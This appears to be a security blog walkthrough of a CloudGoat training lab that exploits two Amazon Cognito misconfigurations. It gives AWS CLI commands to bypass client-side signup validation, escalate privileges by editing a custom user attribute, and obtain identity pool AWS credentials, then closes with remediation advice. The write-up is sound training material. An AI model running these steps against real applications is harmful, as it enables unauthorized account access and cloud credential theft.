Exploit two of the most common vulnerabilities in Amazon Cognito with CloudGoat
During our in-depth research for Amazon Cognito ThreatModel, we found potential security threats that may be overlooked during its implementation for user authentication and authorization.
To help educate the community on how this can lead to vulnerabilities, we developed a lab for CloudGoat called ‘vulnerable_cognito’. This scenario will help you learn and practice exploiting common security misconfigurations in applications built using Amazon Cognito.
In this lab, we will exploit two misconfigurations:
- Bypass the application validation check to sign up directly to a Cognito user pool.
- Update custom user attribute to escalate privilege and get Identity pool credentials.
Overview of the scenario
The following diagram shows an overview of the various steps in solving this challenge. You start with a simple login and signup page built using Amazon API Gateway and Cognito. To sign up, you must bypass the client-side validation and then abuse Cognito custom user attributes to escalate your privileges.

Deploying CloudGoat
The following software utilities are needed to deploy and solve this CloudGoat challenge:
- Linux, MacOS, or WSL
- Python 3.6+
Before installing CloudGoat, make sure that your system meets the requirements above. Then run the following commands to download and setup CloudGoat:
$ git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
$ cd cloudgoat
$ pip3 install -r ./requirements.txt
$ chmod +x cloudgoat.py
Before starting, run CloudGoat with ‘config’ option to select the AWS profile in which you want to create the vulnerable environment.
$ ./cloudgoat.py config profile
Now run the following command to create the vulnerable environment.
$ ./cloudgoat.py create vulnerable_cognito
1. Bypass the application validation check to sign up
After deploying this scenario, you get an API Gateway URL to open in the browser. It has a login and a signup page.
On the signup page, you will get an email validation error when you try to sign up using an email address. These validation checks are used to prevent user sign up and logins from spam emails and to verify that the email belongs to a whitelisted domain.

Note: To find out if a website uses Amazon Cognito as its authentication service, you can use the browser extension “Wappalyzer”, which shows you the technologies and libraries the website uses. Alternatively, you can use the “SecretFinder” Burp extension and add regex for UserPoolID, Client ID, and IdentityPool ID. This way secret finder will alert you whenever it matches the regex in response.
Cognito user pool and user pool client ID can be found in the source code of both “index.html” and “signup.html”. This Client ID can be used to perform self-user management actions directly in Cognito, such as signup, login, email verification, and editing user attributes without interacting with the website.

Our goal is to sign up and get access to the web portal, but the validation check is preventing us from doing that. Instead of signing up from the webpage, we can sign up directly into a Cognito user pool using the above Client ID we found.
The following command would be used to sign up the user.
Note: You can also use Burp Suite to bypass the validation check by intercepting and modifying the request.
aws cognito-idp sign-up --client-id '[ClientId]' --username 'dinop18978@mirtox.com' --password 's3cr4tP@ss' --user-attributes '[{"Name":"given_name","Value":"lorem"},{"Name":"family_name","Value":"ipsum"}]'
Note: If you don’t want to use your email, get a temporary email from TempMail and use it to sign up.
After signing up, confirm your email using the verification code.
aws cognito-idp confirm-sign-up --client-id '[ClientId]' --username 'dinop18978@mirtox.com' --confirmation-code '133337'
After confirming the email address, log in to the webpage. When you log in, you get redirected to “reader.html” which contains a text saying, “You’re a Reader!!”.
The next step is to inspect the HTML page in your browser and retrieve the Cognito Access token.
In the browser, right-click and then go to Inspect > Application > Local Storage; you will see the Access Token.

Users can use this Access Token for self-user management in Cognito.
Use the following command with this token to get user attributes.
aws cognito-idp get-user --access-token [AccessToken]
{
"Username": "dcd1579f-5e55-450f-9212-9c78d324a86e",
"UserAttributes": [
{
"Name": "custom:access",
"Value": "reader"
},
{
"Name": "sub",
"Value": "dcd1579f-5e55-450f-9212-9c78d324a86e"
},
{
"Name": "email_verified",
"Value": "true"
},
{
"Name": "given_name",
"Value": "lorem"
},
{
"Name": "family_name",
"Value": "ipsum"
},
{
"Name": "email",
"Value": "dinop18978@mirtox.com"
}
]
}
These attributes are the data we added while signing up, but there’s one additional custom attribute “custom:access” added by Cognito using a post-confirmation lambda trigger.
In the next section, we will escalate the privileges of our newly added user by exploiting this attribute.
2. Privilege Escalation using Custom User Attribute
In Cognito, custom user attributes are used for better user management. These custom attributes are important and mostly overlooked in terms of security.
Let’s try updating the “custom:access” attribute to “admin” using AWS CLI. For this, use the Access Token from your browser. Alternatively, “initiate-auth” command can be used to get Access Token.
aws cognito-idp update-user-attributes --access-token '[AccessToken]' --user-attributes '[{"Name":"custom:access","Value":"admin"}]'
The goal is to escalate the user’s privileges to admin and on the next login, our user should be redirected to the admin.html web page.
Looking at this page’s source code, you’ll find Identity pool ID.

This Identity pool ID can be used to obtain AWS Credentials. Run the following command to get Identity ID, use ID Token instead of Access Token (ID Token can be obtained from the browser’s local storage).
aws cognito-identity get-id --identity-pool-id '[IdentityPoolId]' --logins "cognito-idp.{region}.amazonaws.com/{UserPoolId}={idToken}"
{
"IdentityId": "us-east-1:b41e526f-7f65-47c3-bf18-38fd17f2192a"
}
Now use the above Identity ID to retrieve AWS credentials.
aws cognito-identity get-credentials-for-identity --identity-id '{IdentityId}' --logins "cognito-idp.{region}.amazonaws.com/{UserPoolId}={idToken}"
{
"IdentityId": "us-east-1:b41e526f-7f65-47c3-bf18-38fd17f2192a",
"Credentials": {
"AccessKeyId": "ASIABCDEFFGHIXJKLKMN",
"SecretKey": "sQSZABCDEFFGHIXJKLKMNABCDEFFGHIXJKLKMN",
"SessionToken": "...",
"Expiration": "2023-03-27T06:29:18+05:00"
}
}
After obtaining AWS credentials, you can enumerate associated permissions (e.g. using scripts like “enumerate-iam”).
Security Recommendations
To avoid above discussed vulnerabilities in Amazon Cognito, you can
- Use “pre-sign-up lambda triggers” to perform custom validation instead of using client-side validation
- If you use custom user attributes to define users’ access level, then limit the write access for all Cognito user pool clients. You can edit important attributes using a Confidential Cognito Client on the server side.
Conclusion
This blog demonstrates a practical approach to exploiting 2 common misconfigurations in Amazon Cognito. Kudos to the CloudGoat team for providing an amazing platform to build interesting scenarios.
If you want to know about more ways to abuse Cognito, feel free to contact us and learn about our Amazon Cognito ThreatModel.